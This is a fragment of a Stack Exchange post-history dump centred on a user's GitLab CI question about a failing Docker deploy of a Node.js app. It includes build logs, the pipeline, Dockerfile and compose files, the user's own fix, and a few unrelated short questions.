time=&quot;2020-07-20T08:21:19.764107864Z&quot; level=info msg=&quot;parsed scheme: \&quot;unix\&quot;&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:19.764207629Z time=&quot;2020-07-20T08:21:19.764179926Z&quot; level=info msg=&quot;scheme \&quot;unix\&quot; not registered, fallback to default scheme&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:19.764319635Z time=&quot;2020-07-20T08:21:19.764279612Z&quot; level=info msg=&quot;ccResolverWrapper: sending update to cc: {[{unix:///var/run/docker/containerd/containerd.sock 0  &lt;nil&gt;}] &lt;nil&gt;}&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:19.764371375Z time=&quot;2020-07-20T08:21:19.764344798Z&quot; level=info msg=&quot;ClientConn switching balancer to \&quot;pick_first\&quot;&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:19.969344247Z time=&quot;2020-07-20T08:21:19.969193121Z&quot; level=info msg=&quot;starting containerd&quot; revision=7ad184331fa3e55e52b890ea95e65ba581ae3429 version=v1.2.13 &#xD;&#xA;2020-07-20T08:21:19.969863044Z time=&quot;2020-07-20T08:21:19.969784495Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.content.v1.content&quot;...&quot; type=io.containerd.content.v1 &#xD;&#xA;2020-07-20T08:21:19.970042302Z time=&quot;2020-07-20T08:21:19.969997665Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.snapshotter.v1.btrfs&quot;...&quot; type=io.containerd.snapshotter.v1 &#xD;&#xA;2020-07-20T08:21:19.970399514Z time=&quot;2020-07-20T08:21:19.970336671Z&quot; level=warning msg=&quot;failed to load plugin io.containerd.snapshotter.v1.btrfs&quot; error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; &#xD;&#xA;2020-07-20T08:21:19.970474776Z time=&quot;2020-07-20T08:21:19.970428684Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.snapshotter.v1.aufs&quot;...&quot; type=io.containerd.snapshotter.v1 &#xD;&#xA;2020-07-20T08:21:20.019585153Z time=&quot;2020-07-20T08:21:20.019421401Z&quot; level=warning msg=&quot;failed to load plugin io.containerd.snapshotter.v1.aufs&quot; error=&quot;modprobe aufs failed: &quot;ip: can't find device 'aufs'\nmodprobe: can't change directory to '/lib/modules': No such file or directory\n&quot;: exit status 1&quot; &#xD;&#xA;2020-07-20T08:21:20.019709540Z time=&quot;2020-07-20T08:21:20.019668899Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.snapshotter.v1.native&quot;...&quot; type=io.containerd.snapshotter.v1 &#xD;&#xA;2020-07-20T08:21:20.019934319Z time=&quot;2020-07-20T08:21:20.019887606Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.snapshotter.v1.overlayfs&quot;...&quot; type=io.containerd.snapshotter.v1 &#xD;&#xA;2020-07-20T08:21:20.020299876Z time=&quot;2020-07-20T08:21:20.020218529Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.snapshotter.v1.zfs&quot;...&quot; type=io.containerd.snapshotter.v1 &#xD;&#xA;2020-07-20T08:21:20.021038477Z time=&quot;2020-07-20T08:21:20.020887571Z&quot; level=info msg=&quot;skip loading plugin &quot;io.containerd.snapshotter.v1.zfs&quot;...&quot; type=io.containerd.snapshotter.v1 &#xD;&#xA;2020-07-20T08:21:20.021162370Z time=&quot;2020-07-20T08:21:20.021121663Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.metadata.v1.bolt&quot;...&quot; type=io.containerd.metadata.v1 &#xD;&#xA;2020-07-20T08:21:20.021406797Z time=&quot;2020-07-20T08:21:20.021348536Z&quot; level=warning msg=&quot;could not use snapshotter aufs in metadata plugin&quot; error=&quot;modprobe aufs failed: &quot;ip: can't find device 'aufs'\nmodprobe: can't change directory to '/lib/modules': No such file or directory\n&quot;: exit status 1&quot; &#xD;&#xA;2020-07-20T08:21:20.021487917Z time=&quot;2020-07-20T08:21:20.021435946Z&quot; level=warning msg=&quot;could not use snapshotter zfs in metadata plugin&quot; error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.zfs must be a zfs filesystem to be used with the zfs snapshotter: skip plugin&quot; &#xD;&#xA;2020-07-20T08:21:20.021581245Z time=&quot;2020-07-20T08:21:20.021533539Z&quot; level=warning msg=&quot;could not use snapshotter btrfs in metadata plugin&quot; error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; &#xD;&#xA;2020-07-20T08:21:20.030531741Z time=&quot;2020-07-20T08:21:20.030427430Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.differ.v1.walking&quot;...&quot; type=io.containerd.differ.v1 &#xD;&#xA;2020-07-20T08:21:20.030639854Z time=&quot;2020-07-20T08:21:20.030604536Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.gc.v1.scheduler&quot;...&quot; type=io.containerd.gc.v1 &#xD;&#xA;2020-07-20T08:21:20.030779501Z time=&quot;2020-07-20T08:21:20.030736875Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.containers-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.030865060Z time=&quot;2020-07-20T08:21:20.030833703Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.content-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.030955439Z time=&quot;2020-07-20T08:21:20.030912981Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.diff-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.031027842Z time=&quot;2020-07-20T08:21:20.030998003Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.images-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.031132325Z time=&quot;2020-07-20T08:21:20.031083782Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.leases-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.031202966Z time=&quot;2020-07-20T08:21:20.031174445Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.namespaces-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.031286993Z time=&quot;2020-07-20T08:21:20.031253528Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.snapshots-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.031370557Z time=&quot;2020-07-20T08:21:20.031312376Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.runtime.v1.linux&quot;...&quot; type=io.containerd.runtime.v1 &#xD;&#xA;2020-07-20T08:21:20.031709756Z time=&quot;2020-07-20T08:21:20.031650044Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.runtime.v2.task&quot;...&quot; type=io.containerd.runtime.v2 &#xD;&#xA;2020-07-20T08:21:20.031941868Z time=&quot;2020-07-20T08:21:20.031897088Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.monitor.v1.cgroups&quot;...&quot; type=io.containerd.monitor.v1 &#xD;&#xA;2020-07-20T08:21:20.032929781Z time=&quot;2020-07-20T08:21:20.032846588Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.service.v1.tasks-service&quot;...&quot; type=io.containerd.service.v1 &#xD;&#xA;2020-07-20T08:21:20.033064279Z time=&quot;2020-07-20T08:21:20.033014391Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.internal.v1.restart&quot;...&quot; type=io.containerd.internal.v1 &#xD;&#xA;2020-07-20T08:21:20.034207198Z time=&quot;2020-07-20T08:21:20.034120505Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.containers&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034316027Z time=&quot;2020-07-20T08:21:20.034279582Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.content&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034402334Z time=&quot;2020-07-20T08:21:20.034369239Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.diff&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034482782Z time=&quot;2020-07-20T08:21:20.034452282Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.events&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034564724Z time=&quot;2020-07-20T08:21:20.034533365Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.healthcheck&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034645756Z time=&quot;2020-07-20T08:21:20.034617060Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.images&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034722695Z time=&quot;2020-07-20T08:21:20.034689037Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.leases&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034800005Z time=&quot;2020-07-20T08:21:20.034770572Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.namespaces&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.034873069Z time=&quot;2020-07-20T08:21:20.034837050Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.internal.v1.opt&quot;...&quot; type=io.containerd.internal.v1 &#xD;&#xA;2020-07-20T08:21:20.036608424Z time=&quot;2020-07-20T08:21:20.036525701Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.snapshots&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.036722927Z time=&quot;2020-07-20T08:21:20.036684403Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.tasks&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.036799326Z time=&quot;2020-07-20T08:21:20.036769392Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.version&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.036876692Z time=&quot;2020-07-20T08:21:20.036844684Z&quot; level=info msg=&quot;loading plugin &quot;io.containerd.grpc.v1.introspection&quot;...&quot; type=io.containerd.grpc.v1 &#xD;&#xA;2020-07-20T08:21:20.037291381Z time=&quot;2020-07-20T08:21:20.037244979Z&quot; level=info msg=serving... address=&quot;/var/run/docker/containerd/containerd-debug.sock&quot; &#xD;&#xA;2020-07-20T08:21:20.037493736Z time=&quot;2020-07-20T08:21:20.037445814Z&quot; level=info msg=serving... address=&quot;/var/run/docker/containerd/containerd.sock&quot; &#xD;&#xA;2020-07-20T08:21:20.037563487Z time=&quot;2020-07-20T08:21:20.037522305Z&quot; level=info msg=&quot;containerd successfully booted in 0.069638s&quot; &#xD;&#xA;2020-07-20T08:21:20.087933162Z time=&quot;2020-07-20T08:21:20.087804902Z&quot; level=info msg=&quot;Setting the storage driver from the $DOCKER_DRIVER environment variable (overlay2)&quot;&#xD;&#xA;2020-07-20T08:21:20.088415387Z time=&quot;2020-07-20T08:21:20.088327506Z&quot; level=info msg=&quot;parsed scheme: \&quot;unix\&quot;&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.088533804Z time=&quot;2020-07-20T08:21:20.088465157Z&quot; level=info msg=&quot;scheme \&quot;unix\&quot; not registered, fallback to default scheme&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.088620947Z time=&quot;2020-07-20T08:21:20.088562235Z&quot; level=info msg=&quot;ccResolverWrapper: sending update to cc: {[{unix:///var/run/docker/containerd/containerd.sock 0  &lt;nil&gt;}] &lt;nil&gt;}&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.088709546Z time=&quot;2020-07-20T08:21:20.088654016Z&quot; level=info msg=&quot;ClientConn switching balancer to \&quot;pick_first\&quot;&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.092857445Z time=&quot;2020-07-20T08:21:20.092749940Z&quot; level=info msg=&quot;parsed scheme: \&quot;unix\&quot;&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.092962469Z time=&quot;2020-07-20T08:21:20.092914347Z&quot; level=info msg=&quot;scheme \&quot;unix\&quot; not registered, fallback to default scheme&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.093060327Z time=&quot;2020-07-20T08:21:20.093013905Z&quot; level=info msg=&quot;ccResolverWrapper: sending update to cc: {[{unix:///var/run/docker/containerd/containerd.sock 0  &lt;nil&gt;}] &lt;nil&gt;}&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.093142744Z time=&quot;2020-07-20T08:21:20.093102173Z&quot; level=info msg=&quot;ClientConn switching balancer to \&quot;pick_first\&quot;&quot; module=grpc&#xD;&#xA;2020-07-20T08:21:20.149109416Z time=&quot;2020-07-20T08:21:20.148965236Z&quot; level=info msg=&quot;Loading containers: start.&quot;&#xD;&#xA;2020-07-20T08:21:20.159351905Z time=&quot;2020-07-20T08:21:20.159146135Z&quot; level=warning msg=&quot;Running modprobe bridge br_netfilter failed with message: ip: can't find device 'bridge'\nbridge                167936  1 br_netfilter\nstp                    16384  1 bridge\nllc                    16384  2 bridge,stp\nip: can't find device 'br_netfilter'\nbr_netfilter           24576  0 \nbridge                167936  1 br_netfilter\nmodprobe: can't change directory to '/lib/modules': No such file or directory\n, error: exit status 1&quot;&#xD;&#xA;2020-07-20T08:21:20.280536391Z time=&quot;2020-07-20T08:21:20.280402152Z&quot; level=info msg=&quot;Default bridge (docker0) is assigned with an IP address 172.18.0.0/16. Daemon option --bip can be used to set a preferred IP address&quot;&#xD;&#xA;2020-07-20T08:21:20.337028532Z time=&quot;2020-07-20T08:21:20.336889956Z&quot; level=info msg=&quot;Loading containers: done.&quot;&#xD;&#xA;2020-07-20T08:21:20.435200532Z time=&quot;2020-07-20T08:21:20.435033092Z&quot; level=info msg=&quot;Docker daemon&quot; commit=48a66213fe graphdriver(s)=overlay2 version=19.03.12&#xD;&#xA;2020-07-20T08:21:20.436386855Z time=&quot;2020-07-20T08:21:20.436266338Z&quot; level=info msg=&quot;Daemon has completed initialization&quot;&#xD;&#xA;2020-07-20T08:21:20.476621441Z time=&quot;2020-07-20T08:21:20.475137317Z&quot; level=info msg=&quot;API listen on [::]:2375&quot;&#xD;&#xA;2020-07-20T08:21:20.477679219Z time=&quot;2020-07-20T08:21:20.477535808Z&quot; level=info msg=&quot;API listen on /var/run/docker.sock&quot;&#xD;&#xA;&#xD;&#xA;[0;33m*********[0;m&#xD;&#xA;&#xD;&#xA;[0KPulling docker image gitlab/dind:latest ...&#xD;&#xA;[0;m[0KUsing docker image sha256:cc674e878f23bdc3c36cc37596d31adaa23bca0fc3ed18bea9b59abc638602e1 for gitlab/dind:latest ...&#xD;&#xA;[0;msection_end:1595233326:prepare_executor&#xD;&#xA;[0Ksection_start:1595233326:prepare_script&#xD;&#xA;[0K[0K[36;1mPreparing environment[0;m&#xD;&#xA;[0;mRunning on runner-fa6cab46-project-18378289-concurrent-0 via runner-fa6cab46-srm-1595233216-1bd30100...&#xD;&#xA;section_end:1595233330:prepare_script&#xD;&#xA;[0Ksection_start:1595233330:get_sources&#xD;&#xA;[0K[0K[36;1mGetting source from Git repository[0;m&#xD;&#xA;[0;m[32;1m$ eval &quot;$CI_PRE_CLONE_SCRIPT&quot;[0;m&#xD;&#xA;[32;1mFetching changes with git depth set to 50...[0;m&#xD;&#xA;Initialized empty Git repository in /builds/xxx.us/backend/.git/&#xD;&#xA;[32;1mCreated fresh repository.[0;m&#xD;&#xA;[32;1mChecking out 257ffdf2 as stage...[0;m&#xD;&#xA;&#xD;&#xA;[32;1mSkipping Git submodules setup[0;m&#xD;&#xA;section_end:1595233333:get_sources&#xD;&#xA;[0Ksection_start:1595233333:restore_cache&#xD;&#xA;[0K[0K[36;1mRestoring cache[0;m&#xD;&#xA;[0;m[32;1mChecking cache for stage node:14.5.0-alpine-2...[0;m&#xD;&#xA;Downloading cache.zip from https://storage.googleapis.com/gitlab-com-runners-cache/project/18378289/stage%20node:14.5.0-alpine-2[0;m &#xD;&#xA;[32;1mSuccessfully extracted cache[0;m&#xD;&#xA;section_end:1595233334:restore_cache&#xD;&#xA;[0Ksection_start:1595233334:step_script&#xD;&#xA;[0K[0K[36;1mExecuting &quot;step_script&quot; stage of the job script[0;m&#xD;&#xA;[0;mln: failed to create symbolic link '/sys/fs/cgroup/systemd/name=systemd': Operation not permitted&#xD;&#xA;time=&quot;2020-07-20T08:22:14.844844859Z&quot; level=warning msg=&quot;[!] DON'T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON'T KNOW WHAT YOU'RE DOING [!]&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.846663310Z&quot; level=info msg=&quot;libcontainerd: new containerd process, pid: 57&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.906788853Z&quot; level=info msg=&quot;Graph migration to content-addressability took 0.00 seconds&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.907996055Z&quot; level=info msg=&quot;Loading containers: start.&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.910877638Z&quot; level=warning msg=&quot;Running modprobe bridge br_netfilter failed with message: modprobe: ERROR: ../libkmod/libkmod.c:556 kmod_search_moddep() could not open moddep file '/lib/modules/4.19.78-coreos/modules.dep.bin'\nmodprobe: ERROR: ../libkmod/libkmod.c:556 kmod_search_moddep() could not open moddep file '/lib/modules/4.19.78-coreos/modules.dep.bin'\n, error: exit status 1&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.912665866Z&quot; level=warning msg=&quot;Running modprobe nf_nat failed with message: `modprobe: ERROR: ../libkmod/libkmod.c:556 kmod_search_moddep() could not open moddep file '/lib/modules/4.19.78-coreos/modules.dep.bin'`, error: exit status 1&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.914201302Z&quot; level=warning msg=&quot;Running modprobe xt_conntrack failed with message: `modprobe: ERROR: ../libkmod/libkmod.c:556 kmod_search_moddep() could not open moddep file '/lib/modules/4.19.78-coreos/modules.dep.bin'`, error: exit status 1&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.989456423Z&quot; level=warning msg=&quot;Could not load necessary modules for IPSEC rules: Running modprobe xfrm_user failed with message: `modprobe: ERROR: ../libkmod/libkmod.c:556 kmod_search_moddep() could not open moddep file '/lib/modules/4.19.78-coreos/modules.dep.bin'`, error: exit status 1&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:14.990108153Z&quot; level=info msg=&quot;Default bridge (docker0) is assigned with an IP address 172.18.0.0/16. Daemon option --bip can be used to set a preferred IP address&quot; &#xD;&#xA;&#xD;&#xA;time=&quot;2020-07-20T08:22:15.029286773Z&quot; level=info msg=&quot;Loading containers: done.&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:15.029664106Z&quot; level=info msg=&quot;Daemon has completed initialization&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:15.029823541Z&quot; level=info msg=&quot;Docker daemon&quot; commit=23cf638 graphdriver=overlay2 version=1.12.1 &#xD;&#xA;time=&quot;2020-07-20T08:22:15.048665494Z&quot; level=info msg=&quot;API listen on /var/run/docker.sock&quot; &#xD;&#xA;time=&quot;2020-07-20T08:22:15.049046558Z&quot; level=info msg=&quot;API listen on [::]:7070&quot; &#xD;&#xA;&#xD;&#xA;# Keeps loading and finally fails after a couple of seconds&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**gitlab-ci.yml**&#xD;&#xA;```&#xD;&#xA;cache:&#xD;&#xA;  key: '$CI_COMMIT_REF_NAME node:14.5.0-alpine'&#xD;&#xA;  paths:&#xD;&#xA;    - node_modules/&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;  - release&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  TAGGED_IMAGE: '$CI_REGISTRY_IMAGE:latest'&#xD;&#xA;&#xD;&#xA;.release:&#xD;&#xA;  stage: release&#xD;&#xA;  image: docker:19.03.12&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  variables:&#xD;&#xA;    DOCKER_DRIVER: overlay2&#xD;&#xA;    DOCKER_BUILDKIT: 1&#xD;&#xA;  before_script:&#xD;&#xA;    - docker version&#xD;&#xA;    - docker info&#xD;&#xA;    - echo &quot;$CI_JOB_TOKEN&quot; | docker login --username $CI_REGISTRY_USER --password-stdin $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull --tag $TAGGED_IMAGE --cache-from $TAGGED_IMAGE --build-arg NODE_ENV=$CI_ENVIRONMENT_NAME .&#xD;&#xA;    - docker push $TAGGED_IMAGE&#xD;&#xA;  after_script:&#xD;&#xA;    - docker logout $CI_REGISTRY&#xD;&#xA;&#xD;&#xA;.deploy:&#xD;&#xA;  stage: deploy&#xD;&#xA;  image: gitlab/dind:latest&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  variables:&#xD;&#xA;    DOCKER_COMPOSE_PATH: '~/docker-composes/$CI_PROJECT_PATH/docker-compose.yml'&#xD;&#xA;  before_script:&#xD;&#xA;    - 'which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client -y )'&#xD;&#xA;    - eval $(ssh-agent -s)&#xD;&#xA;    - echo &quot;$DEPLOY_SERVER_PRIVATE_KEY&quot; | tr -d '\r' | ssh-add -&#xD;&#xA;    - mkdir -p ~/.ssh&#xD;&#xA;    - chmod 700 ~/.ssh&#xD;&#xA;    - ssh-keyscan $DEPLOYMENT_SERVER_IP &gt;&gt; ~/.ssh/known_hosts&#xD;&#xA;    - chmod 644 ~/.ssh/known_hosts&#xD;&#xA;  script:&#xD;&#xA;    - rsync -avR --rsync-path=&quot;mkdir -p ~/docker-composes/$CI_PROJECT_PATH/; rsync&quot; ./docker-compose.yml root@$DEPLOYMENT_SERVER_IP:~/docker-composes/$CI_PROJECT_PATH/&#xD;&#xA;    - ssh root@$DEPLOYMENT_SERVER_IP &quot;echo &quot;$CI_REGISTRY_PASSWORD&quot; | docker login --username $CI_REGISTRY_USER --password-stdin $CI_REGISTRY; docker-compose -f $DOCKER_COMPOSE_PATH rm -f -s -v $CI_COMMIT_REF_NAME; docker pull $TAGGED_IMAGE; docker-compose -f $DOCKER_COMPOSE_PATH up -d $CI_COMMIT_REF_NAME;&quot;&#xD;&#xA;&#xD;&#xA;release_stage:&#xD;&#xA;  extends: .release&#xD;&#xA;  only:&#xD;&#xA;    - stage&#xD;&#xA;  environment:&#xD;&#xA;    name: staging&#xD;&#xA;&#xD;&#xA;deploy_stage:&#xD;&#xA;  extends: .deploy&#xD;&#xA;  only:&#xD;&#xA;    - stage&#xD;&#xA;  environment:&#xD;&#xA;    name: staging&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;```&#xD;&#xA;ARG NODE_ENV&#xD;&#xA;&#xD;&#xA;FROM node:14.5.0-alpine&#xD;&#xA;&#xD;&#xA;ARG NODE_ENV&#xD;&#xA;&#xD;&#xA;ENV NODE_ENV ${NODE_ENV}&#xD;&#xA;&#xD;&#xA;# Set working directory&#xD;&#xA;WORKDIR /var/www/&#xD;&#xA;&#xD;&#xA;# Install app dependencies&#xD;&#xA;COPY package.json package-lock.json ./&#xD;&#xA;RUN npm ci --silent --only=production&#xD;&#xA;&#xD;&#xA;COPY . ./&#xD;&#xA;&#xD;&#xA;# Start the application&#xD;&#xA;CMD [ &quot;npm&quot;, &quot;run&quot;, &quot;start&quot; ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**&#xD;&#xA;```&#xD;&#xA;version: '3.8'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  redis-stage:&#xD;&#xA;    container_name: redis-stage&#xD;&#xA;    image: redis:6.0.5-alpine&#xD;&#xA;    ports:&#xD;&#xA;      - '7075:6379'&#xD;&#xA;    restart: always&#xD;&#xA;    networks:&#xD;&#xA;      - my-proxy-net&#xD;&#xA;&#xD;&#xA;  stage:&#xD;&#xA;    container_name: xxx-backend-stage&#xD;&#xA;    image: registry.gitlab.com/xxx.us/backend:latest&#xD;&#xA;    build: .&#xD;&#xA;    expose:&#xD;&#xA;      - '7070'&#xD;&#xA;    restart: always&#xD;&#xA;    networks:&#xD;&#xA;      - my-proxy-net&#xD;&#xA;    depends_on:&#xD;&#xA;      - redis-stage&#xD;&#xA;    environment:&#xD;&#xA;      VIRTUAL_HOST: backend.xxx.us&#xD;&#xA;      VIRTUAL_PROTO: https&#xD;&#xA;      LETSENCRYPT_HOST: backend.xxx.us&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  my-proxy-net:&#xD;&#xA;    external:&#xD;&#xA;      name: mynetwork&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Update 1**&#xD;&#xA;&#xD;&#xA;I got a warning on the page claims I have used over 30% of my shared runner minutes. Maybe it is about not having enough minutes.&#xD;&#xA;&#xD;&#xA;**Update 2**&#xD;&#xA;&#xD;&#xA;The `release` stage gets completed successfully.&#xD;&#xA;&#xD;&#xA;**Update 3**&#xD;&#xA;&#xD;&#xA;Before I get into this problem, I deployed once successfully. I decided to test that commit once again and see if it succeeds, but it fails!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36986" PostHistoryTypeId="1" PostId="12033" RevisionGUID="184ae59d-aab3-4225-bc56-0adbf5df4666" CreationDate="2020-07-20T08:41:10.910" UserId="23232" Text="GitLab keeps loading and finally fails when deploying a dockerized node.js app" ContentLicense="CC BY-SA 4.0" />
  <row Id="36987" PostHistoryTypeId="3" PostId="12033" RevisionGUID="184ae59d-aab3-4225-bc56-0adbf5df4666" CreationDate="2020-07-20T08:41:10.910" UserId="23232" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab&gt;&lt;cicd&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36988" PostHistoryTypeId="50" PostId="9554" RevisionGUID="12f38c9e-f48f-43a9-b026-ca1c809306c1" CreationDate="2020-07-20T09:02:00.343" UserId="-1" />
  <row Id="36989" PostHistoryTypeId="2" PostId="12034" RevisionGUID="e440ff63-7228-4cd0-9348-55dd9523ac3a" CreationDate="2020-07-20T13:51:52.990" UserId="739" Text="Your configuration refers to a file that is local on your system, but does not exist on the jenkins server.  The error message is trying to tell you this.  `/c/Users/D35N/Downloads/GitHubProjeckt/Automation/GitHubProjeckt/newharbortestkey` is not on the jenkins server.  You need to make this file available on the jenkins server by copying it up there, and it probably shouldn't be in your personal `Downloads` folder.&#xD;&#xA;&#xD;&#xA;You may want to configure your script to look for a series of files and use the first one that exists.  This will let you have the file at different locations on your development box versus the server and it will still work in either." ContentLicense="CC BY-SA 4.0" />
  <row Id="36990" PostHistoryTypeId="50" PostId="11747" RevisionGUID="fe5abfcc-db7a-4c2e-b490-13f83b3b3303" CreationDate="2020-07-20T15:01:30.190" UserId="-1" />
  <row Id="36991" PostHistoryTypeId="2" PostId="12035" RevisionGUID="df8aa8e1-46c1-4b18-8900-0939b9a6812d" CreationDate="2020-07-20T19:47:57.313" UserId="23232" Text="I fixed the issue. In my case, it was `PORT` (absolutely) and `HOST` (maybe) environment variables I defined manually in the GitLab CI/CD Variables section. It seems `PORT` and maybe `HOST` are two reserved environment variables for GitLab and/or Docker.&#xD;&#xA;&#xD;&#xA;By the way, I couldn't find anything in docs state not using those variables names." ContentLicense="CC BY-SA 4.0" />
  <row Id="36992" PostHistoryTypeId="2" PostId="12036" RevisionGUID="521574e2-be6d-43e8-b56b-99f056e68255" CreationDate="2020-07-21T11:00:10.403" UserId="17276" Text="There's an unexpected subnet that isn't anywhere in my project I think it was created manually but I can't find when it was created to help descover what it is for and if it's still needed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36993" PostHistoryTypeId="1" PostId="12036" RevisionGUID="521574e2-be6d-43e8-b56b-99f056e68255" CreationDate="2020-07-21T11:00:10.403" UserId="17276" Text="How can I check when a subnet was created?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36994" PostHistoryTypeId="3" PostId="12036" RevisionGUID="521574e2-be6d-43e8-b56b-99f056e68255" CreationDate="2020-07-21T11:00:10.403" UserId="17276" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36996" PostHistoryTypeId="2" PostId="12038" RevisionGUID="5bc242d3-78c6-478a-b5ec-c98cb924ee77" CreationDate="2020-07-21T14:09:18.817" UserId="23250" Text="My company has a mobile app which we release a new update every 2-3 weeks. For each release, there are about 50-60 Jira tickets attached. The amount of code change between the release are very high. We do not follow any CI/CD, so releases happen once or twice every month after approval from CAB.&#xD;&#xA;&#xD;&#xA;Is having too many changes in a single release a bad way of release management?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36997" PostHistoryTypeId="1" PostId="12038" RevisionGUID="5bc242d3-78c6-478a-b5ec-c98cb924ee77" CreationDate="2020-07-21T14:09:18.817" UserId="23250" Text="Releasing so many changes at once to production" ContentLicense="CC BY-SA 4.0" />
  <row Id="36998" PostHistoryTypeId="3" PostId="12038" RevisionGUID="5bc242d3-78c6-478a-b5ec-c98cb924ee77" CreationDate="2020-07-21T14:09:18.817" UserId="23250" Text="&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
